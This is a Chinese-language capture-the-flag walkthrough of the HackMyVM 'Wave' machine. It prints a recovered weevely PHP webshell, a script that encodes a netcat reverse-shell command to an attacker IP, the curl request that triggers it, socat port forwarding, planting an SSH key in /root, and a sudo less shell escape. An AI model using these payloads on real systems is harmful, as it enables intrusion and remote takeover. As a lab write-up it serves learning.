hackmyvm wave复盘
FLow

写在前面

这个靶机我是边看视频学习边做的的,写复盘目的是理清思路,吸收知识。在这里感谢群主做的视频,链接:https://www.bilibili.com/video/BV1Uu4m1A7BU

靶机信息

地址:https://hackmyvm.eu/machines/machine.php?vm=Wave

难度:medium

ip:192.168.64.81

(后面由于靶机重置,ip改为192.168.64.100)

信息搜集

端口扫描扫到22和80端口,先到80端口,没什么东西,然后扫目录,还挺有东西

robots.txt指示要访问/backup

就是有一些目录文件,然后注意到index,log,phptest.robots,他们有备份文件证明有源文件,比如index对应index.php,phptest对应phptest.php,那么也有一个叫weevely的文件,文件后缀未知。先下载看看。

一个 PHP Phar(PHP 归档)文件,思路是改名为weevely.phar,然后用脚本还原成php

1
php -r '$phar = new Phar("weevely.phar"); $phar->extractTo("./weevely");'

解压到子目录weevely下面,解压出来的php,用ai解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// 定义变量:密钥 $k、密钥头部 $kh、密钥尾部 $kf、参数 $p
$k = "3ddf0d5c";
$kh = "b6e7a529b6c2";
$kf = "d598a771749b";
$p = "afnqDsRcBpVmU71y";
// 定义函数:执行异或加密操作
function x($t, $k) {
$c = strlen($k); // 计算密钥的长度
$l = strlen($t); // 计算文本的长度
$o = ""; // 初始化结果字符串

// 循环遍历文本,执行异或加密操作
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j]; // 对文本中的每个字符与密钥进行异或操作,并将结果追加到$o中
}
}
return $o; // 返回加密后的结果
}
// 从输入中解析数据并尝试执行解密的PHP代码
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start(); // 启动输出缓冲区
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k))); // 解密并执行从输入中提取的PHP代码

$o = @ob_get_contents(); // 获取输出缓冲区的内容
@ob_end_clean(); // 清空输出缓冲区

$r = @base64_encode(@x(@gzcompress($o), $k)); // 对执行结果进行压缩、加密
print("$p$kh$r$kf"); // 输出加密后的结果
}
?>

代码逻辑是:php://input也就是接受POST的数据,和$kh,$kf拼接后,先base64解密,经过x函数异或,再用gzuncompress提取出php代码交给eval执行,执行后会把执行结果交给前面一套过程逆向执行。

也就是说,如果我要利用eval执行命令,正常传进去后会被执行一系列逻辑变成乱的,这样自然会执行失败,思路是写一个脚本,把原先的思路逆过来,传输进去后经过处理会变成正常语句,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
// 函数照搬
$k="3ddf0d5c";

$r=@base64_encode(@x(@gzcompress("echo shell_exec('nc -e /bin/bash 192.168.64.3 8888');"),$k));
// 这句也可以照搬,中间写入要执行的命令
print($r);

?>

接下来就可以向weevely发送数据,现在问题是不知道他的后缀,fuzz一下

1
wfuzz -w extension.txt -u '192.168.64.81/weevely.FUZZ'

extension.txt里面是一些常见的php后缀,最后测出来是php7

指定脚本,获得要发生的数据,接下来就访问weevely.php7发送POST

1
curl -X POST http://192.168.64.100/weevely.php7 -d 'b6e7a529b6c2S/gvK/6sYkv9LKmvuSuYK36yNKl7MuUuZrQrrPy3eikfqjRWhFDnUAfXtFUDtQY1g2RmE30PNa1oa3Q=d598a771749b'

成功反弹的第一个shell

提权

经过一番搜寻,查看到靶机对内开放了3923端口

利用socat端口转发到8001端口,访问看看

1
socat TCP-LISTEN:8001,fork TCP:localhost:3923

是一个长的比较可爱的文件管理界面,当前目录是/root,有文件上传功能也有创建目录功能,那么思路是 创建一个.ssh目录,在里面上传自己kali的公钥,命名为authorized_keys,然后用攻击机ssh登陆

上传后看一下有哪些用户名

经过尝试,angie登陆成功

Sudo -l 查到less可以利用,只能用来阅读/opt/secret.txt

看题解学习到提权思路是:

首先less的功能是读取文件,当它读取的文件有很多行一个终端显示不下的时候,最下面可以有一个命令行,我们可以利用这一点输入命令拿到一个/bin/sh。然后靶机的secret.txt只有两行,这个时候我们只能去kali本机的终端操作,把终端尺寸缩到很小,自然会出现命令行。

输入“sudo /usr/bin/less -F /opt/secret.txt”,然后缩小终端

缩到这么小,再输入”!/bin/sh”,成功拿到shell,提权成功。

由 Hexo 驱动 & 主题 Keep